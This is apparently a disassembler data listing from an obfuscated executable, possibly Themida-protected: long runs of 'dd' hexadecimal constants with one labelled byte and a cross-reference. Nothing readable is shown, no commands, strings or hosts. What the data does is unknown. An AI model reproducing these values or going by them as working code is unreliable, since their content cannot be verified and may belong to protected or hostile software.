		dd 0AA000005h, 9209C508h, 0B027A3DAh, 8D0CC0F9h, 9A219DDAh
		dd 503B7F6h, 9AD98BF9h,	0B5F6971Eh, 91CC82F9h, 0B0E59E1Dh
		dd 7C2F11FCh, 6BDA3DC6h, 32FBC11Eh, 39504479h, 32A95D92h
		dd 3655417Ch, 0DB14B991h, 0FB00BF7h, 2C4F4C70h,	9ED38C95h
		dd 359E6F2Ah, 0F00E336Bh, 33888939h, 0DCF16D92h, 774h
		dd 3940D600h, 8C000000h, 50447932h, 835D9239h, 2DD910B8h
		dd 7CEA5853h, 0E0A6DCCh, 0D1711832h, 356DCC7Ch,	47622439h
		dd 0AF58D978h, 2F45BE7Ah, 6B000000h, 0CFFC3DF0h, 0DFB0D9ABh
		dd 0C4607D78h, 206104D7h, 36CBF074h, 0ACB0256Eh, 631C97B4h
		dd 0AA13422Eh, 506DCC62h, 0EC939231h, 122E631Ch, 79321096h
		dd 7CE75B4Eh, 2EDD6DCCh, 6DCC7C94h, 20FCF470h, 0FCAF2A44h
		dd 0B259D3BFh, 6DCC7C10h, 7F5C78F4h, 38A3327Fh,	33356326h
		dd 51CD67F6h, 0CD04BC7Fh, 5A11C8B0h, 7932A925h,	54635044h
		dd 0B5289A91h, 0B5CC9425h, 4420D413h, 7F2A4420h, 9E1FFABEh
		dd 4712EC48h, 0BBB76BA0h, 48FFBA9Eh, 67209713h,	43461832h
		dd 9E1FEEFFh, 403E1B17h, 65776473h, 2F9791A6h, 4CF16D94h
		dd 5E2B2691h, 0AFA0091Dh, 62000004h, 6AF16DB0h,	48CF8BC2h
		dd 65F468A1h, 52C985C2h, 0FDEB5F9Eh, 72B15381h,	4D8E3FB6h
		dd 29640A91h, 487D26B5h, 0E4A79994h, 6BDA3E5Eh,	327339B6h
		dd 0C708A979h, 0BF7B57DBh, 805A8F38h, 29DD12B9h, 0CDBF9244h
		dd 3DFB47Dh, 54638E6h, 92FE9355h, 6647C91Eh, 5E8A3C21h
		dd 995209DEh, 85DBB064h, 2AD60FB6h, 0F3923146h,	8A97932h
		dd 9C68DAD1h, 908C6DCCh, 0EE5BC0B4h, 0AFD16DFDh, 1793AF93h
		dd 0ACB60845h, 3DFF23A9h, 0F5965720h, 4876336Ah, 0D4000000h
		dd 4C1EBD5Ch, 6727F01Fh, 3C115953h, 4E5C6524h, 219867FCh
		dd 0B5F0966Eh, 74C6BC91h, 3C4A0DB5h, 7EC4C794h,	96943C4Ah
		dd 0CF86E29Ah, 0EA04E01Bh, 0CC80BB6Fh, 3C4AA71Dh, 9ACF7894h
		dd 0B8F3971Eh, 3D4DBCCh, 5C310000h, 5D4C1EBDh, 67FC1104h
		dd 0BBDAC6A2h, 8823CF04h, 34C39837h, 0ABD5A7h, 94239742h
		dd 0CFB1C6A2h, 13FA87DCh, 5E4D1F9Eh, 9E13A9E4h,	8C402400h
		dd 468527B2h, 498A3B5Ah, 26AD502Dh, 68209BB5h, 0D66C1F31h
		dd 2E9E13A9h, 48431532h, 9423C41Bh, 14B35FBBh, 53453170h
		dd 0AB4A01A0h, 6D1DE627h, 0F8DC3488h, 0A47E23E6h, 1C188A33h
		dd 3D7219A0h, 0F44E3D23h, 108A73E3h, 0E3D76B1Eh, 332F8A73h
		dd 4D4C3A0Fh, 98ED6196h, 89805A81h, 80438EA0h, 4F160A66h
		dd 8C63F5F7h, 0B5749F48h, 8C63F50Dh, 0BD698DE9h, 772B6A1Eh
		dd 0B06DAC60h, 5F48740Bh, 92498D24h, 0D1C6A3DAh, 51BBA100h
		dd 47E0h, 4D72A00h, 9BD88B5Bh, 0BB678BE7h, 7C28691Ch, 5EFFDCF8h
		dd 748E957h, 438714E2h,	5F83CEDDh, 2EB59E8Dh, 0D55167FCh
		dd 2DCC7A21h, 0AA61943Ch, 670A8175h, 7E1D7A26h,	9330D9E7h
		dd 0E4B8F9FCh, 0D498397Ah, 0F2000000h, 245D04D7h, 95D38C47h
		dd 67A582BAh, 3DDF96Fh,	0AB579238h, 1E5B10C7h, 58E35D49h
		dd 0DC5774B5h, 9E3DE928h, 0C5C4B0E5h, 8A38F31Eh, 6A6DCCC6h
		dd 579437EEh, 2FABC7ABh, 0CCBBF178h, 6CA14A6Dh,	0B80F5992h
		dd 39B92B50h, 8BC09A24h, 0E3195C3Ah, 0EE2FE2FBh, 15421E02h
		dd 52A8CEAFh, 82390ECBh, 13E094C9h, 605D704h, 67FC49C5h
		dd 0DC29A581h, 0D779953Dh, 0BFF4A5E2h, 0E8E2C9A3h, 0FC9E0AF9h
		dd 0DA8B4E20h, 1D9CC499h, 29B02C6Bh, 0C6A34887h, 4E40353Ah
		dd 2304D56h, 43E30000h,	17CD4C00h, 38ED6CE0h, 17CC4BFFh
		dd 35D75EDAh, 384442F6h, 73E726CAh, 4C0041E4h, 6ADE19CDh
		dd 4BFF34EBh, 15AD5C60h, 0F16BDA39h, 7E3228F4h,	530C8B3Fh
		dd 0D71CAA1Eh, 0E9AC7296h, 4D9C98Fh, 77895261h,	0FC7D9FB4h
		dd 79185567h, 0CAC0DE14h, 65D7CBA0h, 3C471CA6h,	587CF894h
		dd 6607D2ACh, 0D8F57125h, 3C47932Bh, 0A2417294h, 7AFA8647h
		dd 0F36639h, 0E1580000h, 2105F12Eh, 7932804Ch, 5BDE5044h
		dd 0FB376A7h, 0E76DCC7Ch, 0C992678Bh, 0C19B4D27h, 0D5F1D50Ah
		dd 1F37A21h, 0FF16DCCh,	3387A61Ch, 0A2473E92h, 5608D69h
		dd 74EA5AF2h, 25DE5572h, 6BD3CF0h, 2AE1FFD1h, 9233BC98h
		dd 0DBCBA07Ch, 90316C61h, 20B4402Eh, 0C01BBA4Bh, 0D33EFBAEh
		dd 6CC89803h, 0E9DD0EF0h, 0F029E072h, 9A3B2004h, 58A5C2D9h
		dd 90CB7FC1h, 83FE5E4h,	33F608ECh, 9E15BCE6h, 89FE9B80h
		dd 5A5F015Dh, 0BC6B5FECh, 0A4C0A47Fh, 155D0FCAh, 30C5E39Ah
		dd 9C10341Fh, 0BF2C6B1Dh, 40343718h, 0B776034h,	0BE000001h
		dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh
		dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h
		dd 6BDA3AC2h, 32FFC522h, 0C4FDA47Eh, 6F236405h,	0DC5BCFF3h
		dd 603AEE23h, 0DEFB34D9h, 44793246h, 5D923950h,	0E310B883h
		dd 0CC7C9A28h, 0C29E7A6Dh, 8D6552CEh, 0EB48C61Ch, 0A17B4318h
		dd 8F9CC4ACh, 6C1F7047h, 6DCCF5D6h, 390E322Eh, 21C50DACh
		dd 0C405A872h, 3B6754D0h, 334D2929h, 0CA78334Dh, 2A6DCC3Dh
		dd 0B172192Eh, 5567F672h, 0F5AE2DD9h, 7663DFCAh, 0AA619426h
		dd 94267618h, 0F47020FCh, 49825CD0h, 0D710D44Fh, 0EB688599h
		dd 4413FF34h, 0F411C3F7h, 35FC932Ch, 56E5598Eh,	0D8C78ADh
		dd 1D431D5Ah, 0EE076930h, 4433CB31h, 0B41A28FEh, 7B76D8E1h
		dd 0F4ACAFB4h, 31A36378h, 54E7E382h, 0DD5673AEh, 0BE3DF126h
		dd 9942C705h, 0FCA8E387h, 49B15378h, 0F4A00B7h,	3563F33h
		dd 0A6000000h, 80326D5Fh, 9952493Dh, 7519B064h,	9E4F463Ah
		dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
		dd 52CF5541h, 0C281E289h, 4
		dd 8704EA83h, 248B2414h, 0E6895624h, 4C681h, 0EE830000h
		dd 24348704h, 243C895Ch, 5E08950h, 4, 8704E883h, 895C2404h
		dd 3F682434h, 5F061638h, 390E68h, 24248900h, 4240481h
		dd 5E000000h, 89F98951h, 0C8B084Eh, 4C48124h, 8B000000h
		dd 89532434h, 4C381E3h,	83000000h, 1C8704C3h, 34FF5C24h
		dd 0C4815F24h, 4, 0FA384BE9h, 8A9D14FFh, 0B8C57108h, 61647A4h
		dd 0E0FFC503h, 19F43D82h, 8BD95EAh, 1FA75C2h, 69C8D6E9h
		dd 7B5C4A1Eh, 4479FD2Eh, 25E51D1Eh, 19AD9645h, 104852BAh
		dd 0B08DAFDh, 13D3F6E6h, 1C16BF94h, 0BA35E2Bh, 720B46Eh
		dd 33B37AB9h, 11E303C7h, 8DB4866h, 21C043E8h, 0F7B22D3h
		dd 36CF123h, 68AC1AD8h,	1AAE9h,	0DA3BE200h, 0D52C2703h
		dd 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh
		dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh
		dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh,	0E56D599Ch
		dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh
		dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh,	43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 0Ah dup(0)
		dd 0E9000000h, 0FD8h, 164C0368h, 0AAE906h, 3068FFFBh, 0E906164Dh
		dd 0FFFB00A0h, 164E8A68h, 96E906h, 5868FFFBh, 0E906164Fh
		dd 0FFFB008Ch, 16506F68h, 82E906h, 4B68FFFBh, 0E9061651h
		dd 0FFFB0078h, 1651F068h, 6EE906h, 6D68FFFBh, 0E9061652h
		dd 0FFFB0064h, 16537168h, 5AE906h, 0EA68FFFBh, 0E9061653h
		dd 0FFFB0050h, 16548168h, 46E906h, 4F68FFFBh, 0E9061655h
		dd 0FFFB003Ch, 16560F68h, 32E906h, 5868FFFBh, 0E9061657h
		dd 0FFFB0028h, 16589968h, 1EE906h, 3A8DFFFBh, 0F6EADB88h
		dd 3F96673Ch, 0EFE5D88Dh, 4595683Dh, 9E66D68Bh,	580DC71Bh
		dd 0E5BA7465h, 570CBE18h, 0E6BB7566h, 69087306h, 0EC1DDE8Fh
		dd 3D5AA652h, 8494604Bh, 867F2020h, 0A5F49B55h,	961AEDB6h
		dd 2EE6AA3h, 0B2A0014Eh, 7288F3CAh, 0F51DD894h,	163D8A09h
		dd 0B911B869h, 0D936F0Ah, 0FCBE9390h, 31h, 5EA95A44h, 17C8453Bh
		dd 0B0416A1Ah, 7803FA82h, 1DD8456Ah, 1562610Dh,	11B8447Eh
		dd 8C47E251h, 8C33EDDDh, 0BF25BDDEh, 0AEBE93B8h, 107h
		dd 4D075CF2h, 29E3F746h, 0AB085BAAh, 66510B3Eh,	17C844D3h
		dd 0BFBE9282h, 0FAA76172h, 0C84A380Dh, 5F194A17h, 0D690C332h
		dd 0F3E856B7h, 509D24DEh, 441044F6h, 4FD0026Dh,	25D61DD8h
		dd 0B832B7DAh, 0ADEE9E11h, 682236C7h, 334BEE99h, 1A0A11B8h
		dd 0D30A7746h, 335EF17Eh, 7F711B8h, 3986345Bh, 61446D27h
		dd 53AAD280h, 0CAEA9AA8h, 0C231DD17h, 8E651F33h, 79FF92DDh
		dd 97560BA5h, 0BADD6748h, 317ED2ACh, 0BB676620h, 0B140B3F2h
		dd 3EC7E8A2h, 8954520Ch, 0CFE21638h, 0D6834CCh,	6590000h
		dd 9AAEFF54h, 0B42B3E0h, 0A3B90C59h, 151A4F1h, 5A2A1A47h
		dd 9CC983D7h, 0D17E3829h, 6B38EAE4h, 0C28F499Ah, 55E48FE2h
		dd 1DDE91h, 0A95AB266h,	3150025Ch, 451F3285h, 463617C8h
		dd 0F0AAA025h, 470152A3h, 0DD7C0778h, 9B17C844h, 401B4F82h
		dd 9686EC5Eh, 601B90D5h, 3ADECB59h, 31EF52F8h, 38318698h
		dd 4896D49Dh, 0C330BF1Ah, 17C844B4h, 6F02F5A1h,	0E617C845h
		dd 1D3CC736h, 3817C845h, 5EA9184Ch, 1DD845CCh, 1B3EC93Ah
		dd 3A11B845h, 80FFB9A9h, 57DD7ED2h, 4E7DD006h, 0ED94C094h
		dd 0B8448BA2h, 0D48D4411h, 93B798FEh, 0B589BEh,	5AE10000h
		dd 0B93F6C3Dh, 3E5F390Fh, 0B3DA94C7h, 0C152A764h, 0DA51B2D3h
		dd 641E3491h, 174D125Dh, 263517C9h, 95C6376Ch, 0DACCB38h
		dd 0FDA917C9h, 9BC72AA9h, 93EF0CE3h, 0A7776472h, 8AF5CE8Fh
		dd 1DD90E48h, 81721FCFh, 9B22DCF4h, 1F43AEEFh, 9AE79867h
		dd 58068D47h, 0A5A1B017h, 0C8B417CBh, 9C568CF9h, 5385F4C7h
		dd 234CFA99h, 0F6B0A2h,	0E215790Fh, 3B9E3635h, 2C00000Ch
		dd 0E1D48133h, 8D6035EFh, 0ECD98638h, 0A4113EF0h, 0CD9FF4AEh
		dd 763022E5h, 0CB85DC29h, 7D2F2796h, 0CC86D528h, 39C61597h
		dd 1DDE9216h, 5CF9A13Fh, 0A6174C06h, 4D075AB5h,	5C1E4C19h
		dd 0F5464D07h, 7EDD8986h, 38A594A2h, 0C885AACDh, 0B2FBAB17h
		dd 58A30053h, 17C88639h, 6F24701Ch, 0D21DC46Ah,	17C885BFh
		dd 43BAE696h, 862847B4h, 412D17C8h, 3E58A320h, 211DD8A8h
		dd 6A014E75h, 6511B864h, 0F95F33EEh, 0E8BE9398h, 69h, 3AF4EC99h
		dd 1A483971h, 8BDC8B62h, 8B32ECDEh, 458514DFh, 24D017C8h
		dd 67CE8C7Bh, 0BC491DD8h, 36E4EBA5h, 7518636Ah,	5A11B822h
		dd 0F2784AE3h, 0E3BE93D6h, 31h,	0F584EF80h, 6011B819h
		dd 48BFEBB4h, 0E08B621Ah, 1DD8692Ah, 12CCFD6Ch,	969EBF6Bh
		dd 0F99CE7E6h, 0D611B820h, 6EF4CE67h, 5FBE93DBh, 7, 81413A3h
		dd 48970000h, 0DC8B621Ah, 0B71A708Bh, 0DE10767Bh, 0C9148413h
		dd 0A516D117h, 9A8B32DBh, 106A7FBh, 1DDE9569h, 2EBB32E2h
		dd 0BF2E631Dh, 4AABD28Ch, 0A251A0E4h, 4A49FB53h, 0EFF4D39Ch
		dd 7A17C849h, 95C6338Ah, 243786DBh, 5C02636Ah, 802ED928h
		dd 0BF11ABC2h, 53AD9CFh, 6968E830h, 0AE1D3h, 0CB7DD200h
		dd 77312796h, 0D082DB2Ah, 681A3283h, 0DE98CA3Bh, 30F3C3B1h
		dd 0C233601Ah, 2D80D58Fh, 0CB3A6719h, 33B1DE98h, 934453A0h
		dd 0B7111DDEh, 46375EC3h, 0AF9317C8h, 0E79BE8D7h, 0D31DDE8Ch
		dd 0AB895AB8h, 0C0E11C55h, 169BC8B4h, 125D5428h, 17C85572h
		dd 97E6DDC9h, 0D8277B44h, 9DA60980h, 3A299CC9h,	0B2A00180h
		dd 0AF4F56BBh, 2B1EE66Fh, 82712571h, 0B1C6F4F5h, 18631411h
		dd 5853679h, 56F30DCh, 0AA59AA19h, 358BAE59h, 0DACA0585h
		dd 853648E7h, 40610D05h, 0E5DC96C5h, 0E7884298h, 0C11C2F7Eh
		dd 0AED58Fh, 4DE22D54h,	81858536h, 0AD5AA9DDh, 8B9542E3h
		dd 0CD8AD8B3h, 0FA34521Bh, 0D5D3C3B1h, 6E46A020h, 1355EB6Eh
		dd 400000Ah, 794C19CBh,	5F8AD67h, 84711ED0h, 0FCC99648h
		dd 5772CE6h, 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h
		dd 71FE4D4Fh, 1DDE93DEh, 4831D977h, 0E08B621Ah,	1DDE8E3Ch
		dd 41B0FFEFh, 0BA0B5812h, 7100EFA9h, 701EA55Fh,	7BC6E215h
		dd 0F2BBC9D3h, 0AAD280E1h, 0E280A853h, 0C4C317C7h, 8FB01867h
		dd 3CB3DF70h, 0AFE49EADh, 5C530D3Eh, 8706B80Dh,	0A00192DBh
		dd 803A29B2h, 0B992DDD4h, 1011B239h, 98BEC55h, 55105FDh
		dd 520C3FAEh, 1BB0E5Bh,	0DA8BD482h, 0AB9DF8EBh,	9D4EA5F1h
		dd 85D53F52h, 99661605h, 0C3D09143h, 19D30574h,	24A3CC7Ah
		dd 585D511h, 2F195B9h, 9C1D9175h, 0C0D6B10Bh, 0DF91CB81h
		dd 4F32E0h, 0E376012Fh,	72FF7037h, 0A78DCE82h, 6A7908F7h
		dd 0C112E3B0h, 0CA378807h, 35E1E092h, 0A5D9856Ch, 8081A14Eh
		dd 0CABA0586h, 88FC62C3h, 0E092CC39h, 805235E1h, 0A0E2159Dh
		dd 95E2E18Ah, 0FF69D54Fh, 2FF6F4A0h, 55FA7208h,	8FCBE56h
		dd 0DAED0000h, 568A7B28h, 0DFF6C79Ch, 4F85782Dh, 0E5F5C89Dh
		dd 3E06762Bh, 0F8AD677Bh, 451AD405h, 0F7AC5E78h, 461BD506h
		dd 0C9681366h, 8C1DDE94h, 0A95A4632h, 0C8453B5Eh, 276A1A17h
		dd 21FB276Ah, 0E1E48DA2h, 4A9938F2h, 0E5ECA6BBh, 3E8D7839h
		dd 695FD84h, 0EFA9BA6Bh, 79AA30A2h, 0C9BB883h, 0EF000000h
		dd 1B3AB5Ah, 4A41C60h, 47640000h, 0C9103EE5h, 0A55358CEh
		dd 269171F5h, 17C8DA13h, 0AFFE5242h, 0D8FE1644h, 3515011Dh
		dd 0C487196Ah, 8DF15DE4h, 0DD8FC736h, 5C6708B6h, 0BD01C10Fh
		dd 67661644h, 22756918h, 0A14D742Eh, 7F20CEF5h,	49B8CC72h
		dd 0B04C21BEh, 5D54403Eh, 5401BB10h, 0FA157261h, 7990A5CFh
		dd 771AED92h, 0DE328894h, 0CB84622Eh, 0F1BB3321h, 820DA72h
		dd 0BE110000h, 7266570Ch, 0C31AEBB8h, 5B714411h, 0D909FCA9h
		dd 3202721Fh, 0F4A15B6Fh, 4916D001h, 0E3B0627Ch, 5A07C112h
		dd 0DD7C075Ah, 781DDE95h, 0AB5A2ADEh, 660DECB5h, 49A6A59Ah
		dd 6271541Dh, 86DC29A8h, 2C1297CCh, 691A6958h, 0C8F77B1Eh
		dd 0D52ADA17h, 1FA8C983h, 1DDF3FD1h, 58A71606h,	0AE3D5CA7h
		dd 6C1811B2h, 0D791C243h, 6E283B8Ah, 3C40EE4Fh,	0F70E3AC5h
		dd 493517C8h, 1ED80B7Ah, 0DBF38271h, 0B3FCAA29h, 48470152h
		dd 0A1538AF7h, 0DA2B7422h, 621C2D88h, 5E3AF5Bh,	0E21F502Eh
		dd 7B67FD7Ch, 6C000007h, 2194C173h, 0CD20752Fh,	2C99C678h
		dd 0E4D17E30h, 0D5F34EEh, 0B6706225h, 0BC51CE9h, 0BD6F6756h
		db 0E8h, 15h, 0C6h
byte_5B067F	db 0Ch			; DATA XREF: Themida_:0055531Ao
		dd 79065557h, 1DDE95D6h, 4839E17Fh, 0E08B621Ah,	1DDE8E48h
		dd 7C1B68FBh, 0D911B1FCh, 0FB8A792Dh, 94612EE8h, 9BFE853Fh
		dd 8FE0CFB7h, 0FC0493E0h, 0A55111B1h, 238392E2h, 426BE8C3h
		dd 0C1678BC5h, 0C3F00B17h, 2A5D94D4h, 0E08CA8C9h, 1A7B390Ah
		dd 6C0487E2h, 6FEh, 7926D8EFh, 0C59A548Ch, 762BDDF8h, 0C69B4D87h
		dd 7C29E3F7h, 65753808h, 0D207F6ABh, 647A4B18h,	0BB10DDB2h
		dd 1505401h, 0DE96E376h, 24D4721Dh, 464D075Ch, 0A32AE4F7h
		dd 1C2DBC3Bh, 0EEAF5B62h, 5A893CF5h, 79DFF3A0h,	68B883B3h
		dd 7, 2BC13C0h,	5C970000h, 0E3464D07h, 4BB8077Fh, 1DDE8F23h
		dd 540E42AFh, 54E0812Dh, 0B0AC59A8h, 8AD37FFEh,	3FF9EADBh
		dd 5082EF40h, 224BF796h, 0A0F5AFA3h, 0F2AC9E4Bh, 621A48A9h
		dd 8FDC8Bh, 0E611B1FBh,	0E6943BF5h, 0F0D39C88h,	0C843CA83h
		dd 78473717h, 0AE687A07h, 0DA8CC20Fh, 125B07B3h, 0B9E6A0B3h
		dd 31AC4D4Ah, 0F15422F9h, 347D29DBh, 0C9C882D1h, 0D70B667Ch
		dd 9CC8761Dh, 0C7AE94F5h, 0A6585E07h, 239AC611h, 520827D4h
		dd 0A14D0B9Bh, 5740300h, 0C7731AD4h, 5F8F21A6h,	0AA5711ABh
		dd 0B26C5EB9h, 0C7B7BDDEh, 306F86F1h, 17ADACE8h, 5FAh
		dd 0D42F4EBh, 0A1EEA8A0h, 1A47F954h, 52FFB1ABh,	0E0B56F63h
		dd 0F1E1A48Ch, 469B6A37h, 0F0E6D78Ch, 0AFA4113Eh, 0AD3CA0F5h
		dd 0DE982F42h, 0E0C8261Dh, 0B6AC075Ch, 6E29D5FCh, 91E4FD5Bh
		dd 6A693D76h, 6F0EC81Bh, 26DD9807h, 88527769h, 8A918C5h
		dd 5A73CEFDh, 297D29A8h, 0A800667Ch, 7F1B883h, 39000000h
		dd 13913h, 75C9700h, 6FEA6F4Dh,	3130D5F3h, 5819Bh, 0AB5D7200h
		dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh,	50D3A391h
		dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 97E47300h
		dd 0D7711DDEh, 4D075C23h, 2AE4F746h, 19C3BA3h, 0AEA4FF54h
		dd 7521CDF4h, 0B424AA20h, 1215B883h, 6D000000h,	0D513h
		dd 5181F000h, 1394D697h, 0CAh, 621A4897h, 8F48E08Bh, 0BFB1DDEh
		dd 493D2184h, 14330D7Ah, 27B417C2h, 9A557C2Eh, 10F6E8Eh
		dd 2F1A560h, 0A240E275h, 0CF83730Bh, 19736AD9h,	23B9B8E2h
		dd 4EAh, 7DD284DBh, 315E1830h, 8AD789C4h, 226F213Bh, 90C57FD3h
		dd 151D49Ch, 0B6AB1A47h, 56A7FCh, 9FB4014Eh, 9D2CB0E5h
		dd 0DE993F52h, 0D0B8161Dh, 8B621A48h, 0D893D2E0h, 7665141Dh
		dd 39C615BCh, 11B7F716h, 5A034F3Fh, 15489DAh, 454C18D2h
		dd 87F6CD99h, 4DF99852h, 0C60D410Ah, 0DE7FC427h, 597996E5h
		dd 1DAE2E2Fh, 0DAF9B3A5h, 588B782Ch, 0CD08FD9Eh, 1CE7A41Bh
		dd 0F9A6A13Ch, 6F402546h, 11B829DDh, 4916D003h,	10AF617Ch
		dd 45978h, 1A481000h, 48E08B62h, 0FB1DDE8Fh, 3D21840Bh
		dd 7A097A49h, 0B1FB6A0Dh, 0C83BEB11h, 11B1FAA9h, 249FC0ACh
		dd 7E3026D3h, 0BD0A53FFh, 17C21363h, 0C9229884h, 0F7E219D2h
		dd 41CDC74h, 0BA0D0000h, 766A5B08h, 0BF16E7BCh,	6F65580Dh
		dd 0C515E8BDh, 1EE6560Bh, 0D88D479Bh, 653AF4E5h, 0D78C3E98h
		dd 663BF5E6h, 0E988F386h, 6C1DDE99h, 1A4826D2h,	4CE08B62h
		dd 0FF1DDE8Fh, 21A05A6Eh, 23D22175h, 0DC297630h, 0DA352C87h
		dd 0D27ED284h, 0FDE44AABh, 0B1FADF72h, 0CB867611h, 0B5DA7E8Dh
		dd 368DD9F2h, 0C2F2CAC5h, 4BCAF233h, 96F17365h,	0ADEED956h
		dd 0C79BC15Ah, 5FCA817h, 5AA96378h, 0B2FBB5ABh,	17D102F3h
		dd 55291578h, 0ED01A15Eh, 2F12CC04h, 6D1AD1C5h,	723F28Fh
		dd 358ECF83h, 0AA611CCAh, 0D43B211h, 0EDDD2C53h, 363E5F33h
		dd 80FFB1A5h, 0D5287ED2h, 1BE83166h, 35C0098h, 0FA4D0000h
		dd 0B6AA1B48h, 0FF56A7FCh, 0AFA5184Dh, 555A8FDh, 5E26164Bh
		dd 98CD87DBh, 257A3425h, 97CC7ED8h, 267B3526h, 0A9C833C6h
		dd 0AC1DDE9Ah, 75C6612h, 0E4F7464Dh, 0CE74752Ah, 26BC47B6h
		dd 411DD85Ah, 4AE12E55h, 9411B82Fh, 0B0FD843Eh,	9EB13E9Bh
		dd 0B711B82Eh, 3FF49BC7h, 1591A540h, 0A92F039Eh, 98BE93C9h
		dd 4Fh,	621A48F0h, 45E2E08Bh, 0D5241DD8h, 94DFCE80h, 11B84505h
		dd 79FBA450h, 6159368Dh, 113086A6h, 0A42BE5FBh,	0D201AAF6h
		dd 23DDF481h, 42FC4D9Ch, 0D37A4D0Eh, 0FC11B910h, 50D6AC45h
		dd 41BE92EBh, 106h, 53E691E2h, 211B905h, 5C214912h, 7764D07h
		dd 3D5617D1h, 0A120DAF0h, 3E45FF54h, 0F47FDCEFh, 17C84565h
		dd 615004F0h, 7B02BC14h, 0E4D78ECFh, 4549E893h,	600C17C8h
		dd 4977C83Fh, 0D80B17C8h, 4F84711Eh, 7F611E95h,	453E808Fh
		dd 63C6CD8Eh, 0CB3887FFh, 1DD7F9D5h, 6C6D22D2h,	80EFBEC6h
		dd 5ABB883h, 0ECD9254Dh, 0E6943BF5h, 0B6A742C5h, 0EE9E17CAh
		dd 0CF0170FFh, 85C06E15h, 3988B40Fh, 0F1D49D9Ch, 897A27E1h
		dd 842DE7FCh, 21975181h, 0E215F6C8h, 13F58B0Eh,	4000002h
		dd 794C19CBh, 5F8AD67h,	84711ED0h, 0FCC99648h, 5772CE6h
		dd 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h, 71FE4D4Fh
		dd 1DDE9BDEh, 5A31D977h, 675FB2ABh, 34E2E1B5h, 7F489A6Bh
		dd 4AB93664h, 0DD7C072Bh, 7817C8F8h, 358CD88Ch,	0E9D892C8h
		dd 0C8F8FB9Eh, 1AA5A17h, 0A70251A4h, 1DDAF9B3h,	0BD93410Ah
		dd 297D296Ah, 1A482E7Ch, 0E2E08B62h, 241DD845h,	0AFCE80D5h
		dd 303FAC03h, 2511B845h, 503C3879h, 454FE631h, 378F11B8h
		dd 9BAFFE85h, 0F063E2E1h, 0EC52135h, 0B8197F53h, 0F708BE93h
		dd 60000000h, 5DB2AB5Ah, 0C8457F12h, 7A26D617h,	1F9E5085h
		dd 88DB2A73h, 1160AFCEh, 0D6840BBDh, 44FD9CE7h,	0AC5817C8h
		dd 16D00203h, 49DB2C77h, 0EAA517C8h, 5F6551E0h,	3FC6E75Ch
		dd 0AEFD520Ch, 0B54063Fh, 0D0EFA9BAh, 6D1AC16Dh, 17C804CAh
		dd 0F8C79B8Bh, 0D818158Bh, 7CD4211Dh, 4E0FBBC2h, 886936E6h
		dd 9C4BA2DAh, 1C45F74Dh, 0CAA6A5ABh, 75027117h,	0BA53BE2h
		dd 3BE27502h, 83730BA5h, 0C4B0F19Dh, 469CE9D8h,	0F4E6D78Ch
		dd 27E39E2Bh, 52FEC36Eh, 17512D54h, 0C0585BE2h,	0D2h, 85DA8CC3h
		dd 39662038h, 0B2DF91CCh, 0A570943h, 0B8EDA7BBh, 2939FCC4h
		dd 7ED3226Fh, 281E8FC4h, 87DC2976h, 0C51498CDh,	0DE9D173Ah
		dd 0F8A03E1Dh, 0B6AB065Ch, 0AC59A8FCh, 28D6FDB7h, 7CCF1E87h
		dd 2BD82D21h, 17C8450Ch, 8A095D49h, 89F83CCDh, 0EEA242D2h
		dd 4C18D201h, 0AB5A4B17h, 28D6FDB7h, 934D7E87h,	53AE9DECh
		dd 913D44FEh, 250990C5h, 0EC759261h, 0E9A3B76Bh, 21593CEAh
		dd 0B70C55F5h, 0F0AAB948h, 0F6BF58AFh, 0F2A21DDEh, 934D7ECBh
		dd 0EF7EEDBEh, 0EF9B22DCh, 0B2667504h, 6B34E011h, 0F08F499Ah
		dd 7EC730A3h, 944DBE17h, 6B38F2E1h, 0F08F499Ah,	0DAF9ABA1h
		dd 4AFBB62Dh, 70E65019h, 0FE89AEF7h, 9BB0FD52h,	34AE2E1h
		dd 5E000000h, 35CBFEBh,	0F0E33251h, 144A9736h, 0BB0E5B62h
		dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h
		dd 51945170h, 0BB53E189h, 4, 835BD901h,	0C8704E9h, 89575C24h
		dd 4C781E7h, 81000000h,	4EFh, 243C8700h, 241C895Ch, 2FCE68h
		dd 243C8900h, 164ACF68h, 241C8B06h, 4C481h, 8B540000h
		dd 0C483243Ch, 89575504h, 5FFD89DFh, 5D086F89h,	53243C8Bh
		dd 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h,	0C4835B24h
		dd 0F0EAE904h, 5B49FFFAh, 94063450h, 39D8320Bh,	137A00C8h
		dd 165990B8h
		dd 0FFC50306h, 7DABE0h,	0BCE3B908h, 849E5A5Bh, 24D9DE21h
		dd 56150632h, 5625AE7Eh, 5FC6455Eh, 0D0E20A0Dh,	62A6B138h
		dd 0D694387Bh, 1D8D8D23h, 8906165Bh, 100081BDh,	0F58D8906h
		dd 6A061009h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 1D61C350h, 5EDC9724h, 1985C7C2h
		dd 74061023h, 6A00006Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0C759C356h,	1022C185h
		dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 11B0F45h,	0E63FA03h, 1651958Bh, 9570610h
		dd 100E2995h, 0B5FF5B06h, 61004E9h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 19C35141h, 9F31BA41h, 0BD8B3CAEh
		dd 6102D51h, 2DB995FFh,	6E90610h, 0FC000000h, 8FA8654h
